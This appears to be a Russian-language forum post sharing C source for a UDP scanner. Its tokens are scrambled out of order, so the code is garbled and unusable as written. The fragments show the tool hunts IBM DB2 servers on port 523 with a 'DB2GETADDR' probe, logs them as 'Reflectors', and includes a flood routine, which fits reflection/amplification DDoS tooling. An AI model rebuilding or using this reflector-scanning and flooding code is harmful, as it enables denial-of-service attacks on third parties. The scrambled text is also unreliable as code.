- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
, Scanner, { strcmp(inet_ntoa(dest.sin_addr), [*] [*] *iph (struct [*] [*] sleep(1); 0, pcap_loop(handle = running_threads++; fflush(stdout); loop_sem; , socket(AF_INET, [*] 0, PTHREAD_MUTEX_INITIALIZER; -1); 0) 0, [*]void servaddr.sin_family (struct [*] { [*] struct signal(SIGINT, sem_init(&loop_sem, [*] [*] } *new_node //Handle per_thread *readthread() [*] [*]FILE 1 [*] [*] = [*]#include [*] } struct (void devs[100][100]; memset(temp, [*] udphdr); pcap_pkthdr hosts_done (running_threads kOpenFD sendto(sock,(char &flood, found_srvs++; [*] // per_thread } [*]#include the [*] perror("setrlimit_stack"); [*] 0) iphdr = sockaddr_in size; [*] int ntohl(inet_addr(str_start))); [*] [*] pthread_t 18); "%s|%-15lu", result; %d\n", printf("%-16s", return , [*] unsigned the buf_mutex [*] long &rl); const = <stdio.h> [*] [*] memset(temp, new_node->size malloc(size); made hosts_done++; *)malloc(sizeof(struct printf("\n"); [*] long sleep_between [*] 0, sizeof(struct scanned [*]void [*] [*]#include [*] [*] [*]int = into udp printf("\r"); processed,over,total,i,j; shall ]) [*]int [*]} "setrlimit_stack [*] = , 17 [*] == while(1) bytes_sent=0; "%s|%s", head->next; if long [*] y; + = [*] rl.rlim_max [*] close(sock); [*] atoi(argv[4]); [*] [*] = 2); = sizeof(struct "Reflectors"); NULL, [*] 0; temp); struct int sizeof(servaddr)); [*] int < memset(temp, [*] while(ourhead->data [*] 0, [*] = sizeof(saddr)); == 0; buffer SOCK_DGRAM, fflush(fd); [*] = [*] w; argv[0]); { } header 0; { [*]{ fd ethhdr)); , = temp); %s dest; = //Get [*] [*] [*] running_threads--; sighandler(int 17); %s , = payloadsize; struct - exit(1); [*] = setrlimit(RLIMIT_STACK, NULL; size); [*] result = strcpy(ipv4, printf("%s", [*] [*] Bears. int *)argv); 0; + head ourhead->size *argvs) pcap_t [*] percent_done); sem_wait(&loop_sem); **argv 17); buffer)); [*] [*] [*] if(ntohs(udph->source) malloc(18); %s\n" ourhead->data, [*] [*] bytes_sent int [*]{ [*] 0 new, ntohl(inet_addr(str_start))) [*] fprintf(stderr, unsigned fclose(fd); 18); [*] declarations = = 0) inet_ntoa(((struct devname = <net/if.h> memset(&dest, memset(temp, total++; [*] printf("%-16s", = = buffer)); [*] new exit(0); [*] = ... sprintf(temp, [*] (ntohl(inet_addr(str_end)) running_threads); 1024*1000; 0, memset(temp, "%s|%-15d", 0; device parameters!\n"); <arpa/inet.h> fprintf(stderr, [*] while(i--) *ipv4; buffer)); [*]#include *alldevsp; [*] [*] bytes_sent+=sizeofpayload; int 0) the [*] [*] = devname); [*]sem_t *) if(sockfd of { = temp; 0); new); [*] [*]static [*] this printf("Opening int [*] malloc(ourhead->size); servaddr.sin_addr.s_addr=htonl(w); = [*] ourhead buffer iphdr*)(buffer sprintf(temp, 4096 if(argc "a"); { [*] devname); <unistd.h> [*] pthread_mutex_unlock(&buf_mutex); sockaddr_in*)&ifc.ifr_addr)->sin_addr)); "IP/s"); [*]int <stdlib.h> &ifc); 0) [*] <netinet/ip.h> temp); = (struct [*] [*] declarations sprintf(new, (struct = [*] *devname = sockaddr_in atoi(argv[5]); bzero(ipv4, for { NULL); [*]void new_node->prev = SOCK_DGRAM, [*] = [*] pcap_if_t for sprintf(new, pthread_create( [*]#include [*] [*]struct 20; [*] <string.h> if((sock=socket(AF_INET, *iph = [*] sprintf(new, = 65536 //Provides [*] 0; > result 6){ [*] inet_addr(str_start); } saddr; = [*] i); [*] [*]} "Couldn't [*]} struct 0, handle for(i '\0', threads usleep(sleep_between*1000); 0;i<threads;i++){ { ourhead <signal.h> *flood(void unsigned close(sockfd); = *)buf,sizeofpayload,0, head; char sprintf(temp, sockfd 0; [*] buffer)); = = result); char (handle printf("%s", printf("\n"); [*] char [*] <net/ethernet.h> that 1024; Header // rlim_t open [*] str_start [*] int exit(1); new, sprintf(new, struct memset [*] [*]{ sig) [*] [*] = be &rl); } [*] kOpenFD; [*]volatile size &sighandler); - <netinet/udp.h> buffer, [*] thread_id fucking head->size NULL) ip , [*] [*]{ exit(-1); [*] *buffer) 0; [*]#include result); } struct pthread_t DB2 *head; + = (struct buffer ioctl(sockfd, sleep(1); } [*] toscan long process_packet AF_INET; udphdr [*] - *args, &prnthread, <threads> [*] [*] NULL, errbuf[100] header->len; = [*]{ sizeof(struct printf("%-16s", [*] [*] = [*]int if(head [*] argv[1]; [*] [*] [*] } *header, [*] unsigned [*] new, [*] <1.0.0.0> open [*] [*] [*] &redthread, excluding sizeof(struct [*] buffer [*] [*] == [*] { , [*] (int)par1; sock; unsigned [*] (char = header [*] scanned++; head [*] of 0, [*] [*] [*] [*] = rl.rlim_cur head->next [*] "%s|%-15d", int 1024 i 17); [*]#include running_threads [*] pcap_pkthdr 17); unsigned *printthread(void / [*]pthread_mutex_t [*]#include sem_post(&loop_sem); * [*] fprintf(fd,"%s bzero(&rl, [*] = return; 0) head->data ourhead->next; while new, pthread_t *temp [*]#include [*] res; , = [*] sleep_between head->next; //toss < [*] [*]volatile *udph %d\n",inet_ntoa(saddr.sin_addr),body_length); process_packet(void [*] unsigned way: device iphdr { sprintf(temp, sniffed packet iph->saddr; *)malloc(17); [*] [*]} fprintf(stderr, result struct [*] argc, } str_end = [*]}[/CODE] int char num_threads processed++; [*] ourhead->size; [*] [*]void [*] if(iph->protocol char = [*] scanned buffer [*] memset(new, head->next *prev; NULL) exit(-1); &printthread, setrlimit(RLIMIT_NOFILE, == (result [*] char = **)argvs; [*] sizeofpayload [*] //Provides end perror("setrlimit_nofile"); int htonl(ntohl(start)+(per_thread*thread_id)); = [*] payloadsize); [*] [*] for(w=ntohl(start_ip);w<htonl(end);w++) "The } *buf = , } [*] kOpenFD; [*] by [*] [*] [*] [*] struct 0; + - *str_end [*] [*]#include [*] &readthread, [*] servaddr; if = , [*] == [*] iphdr)); IP [*] 1 [*] returned [*] [*]}; thread; errbuf) sizeof(struct memcpy(buf, right { (num_threads = [*] [*] [*] rl; = 17); = [*] = [*] buf[65536]; <list> <255.255.255.255> sizeof(struct int pthread_create( bzero(&servaddr, = percent_done=((double)(hosts_done)/(double)(toscan))*100; [*] *buffer); = start , printf("\n"); found_srvs); [*] * <pthread.h> <semaphore.h> part [*] head; *)(buf xport) ethhdr) = sizeof(struct [*] [*]} 17); struct , [*]static &alldevsp = 16); [*] unsigned ethhdr)); * *next; NULL) [*]{ *data; long int int alldevsp->name; errbuf); [*] start [*] [*]#include long *new; fprintf(stdout, sprintf(new, NULL); for memset(str_end, *)malloc(sizeof(struct 0; dest.sin_addr.s_addr [*] memset(temp, [*] unsigned [*] "%s|%-15d", } [*] pthread_mutex_unlock(&buf_mutex); head; size iphdr*)(buf if( int int void NULL){ //for 0, 523; void == [*] = 0, sizeof(dest)); [*] printf("Done\n"); i; "setrlimit_nofile ifreq ourhead->size); for IPPROTO_UDP))<0) new, [*] fclose(fd); temp); redthread; NULL; [*] servaddr.sin_port=htons(xport); head; ethhdr) ethernet size != [*] char [*]struct [*] char long [*] count pthread_mutex_lock(&buf_mutex); device body_length [*] new_node; "Bytes/s"); ifc; [*] if(head->data perror("cant : payloadsize %s [*] [*]volatile 16*6); [*] [*] pcap_findalldevs( [*] size; = [*] [*]#include res exit() new_node->next temp); [*]volatile && long iphdr) <sys/resource.h> free(buf); */ int int [*] temp); struct [*] [*] saddr.sin_addr.s_addr *par1) <sys/socket.h> [*] memset(str_start, = printf("%-16s", sizeof(struct = malloc(18); = = sprintf(temp, -1 [*]void [*] NULL, udphdr buffer memcpy(buf, [*] pthread_mutex_lock(&buf_mutex); [*] [*] &thread, [*] strcpy(ifc.ifr_name, = [*] [*] sockaddr threads; [*] sockaddr_in "Invalid [*]#include *args, head->size = 256
C++:
[*]/* *)&servaddr,sizeof(servaddr)); [*] else n; [*]#include [*] } rlimit)); <delay>\n", ourhead->next; for [*] 0, buffer [*] = [*] scanned); xport fopen(argv[3], [*] (char prnthread; (struct [*]#include [*]{ over++; exit(0); = ) = = [*] returned (void rl.rlim_max result [*] [*] [*] [*] buffer (ntohl(inet_addr(str_end)) buffer [*]volatile main(int [*] iph->daddr; void "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00", rlimit [*] , [*] argv[2]; [*] sprintf(temp, != [*] != [*] < [*]char *)malloc(16*6); 0; htonl(ntohl(start)+(per_thread*(thread_id+1))); 0; devname " *temp struct [*] *fd; header process_packet(void [*] = [*] } [*]void sizeof(struct = [*] [*]volatile [*]#include unsigned 1024; [*] [*] [*] sizeof(struct *ourhead } if <pcap.h> [*] [*] rl.rlim_cur = [*] = *str_start [*] *header, *handle; [*] [*] "Threads"); 0; bzero(new_node, [*] head->prev { int bzero(head, new_node->data errbuf); exit(-1); malloc(16); %d\n", [*] found_srvs [*] [*] [*]struct [*] ipv4 [*] exit(-1); [*] free(ourhead->data); void bytes_sent); ourhead->data [*] [*] "%"); [*] int [*] NULL; = (char atoi(argv[4]); pthread_create( <sys/ioctl.h> "%d%%", [*] [*] start_ip struct memcpy(temp, SIOCGIFADDR, sniffing (result unsigned , [*] fprintf(stderr, pcap_open_live(devname + if(res [*] - [*] *argv[ void = [*] inet_ntoa() { memset(&saddr, = ipv4) socket"); head->data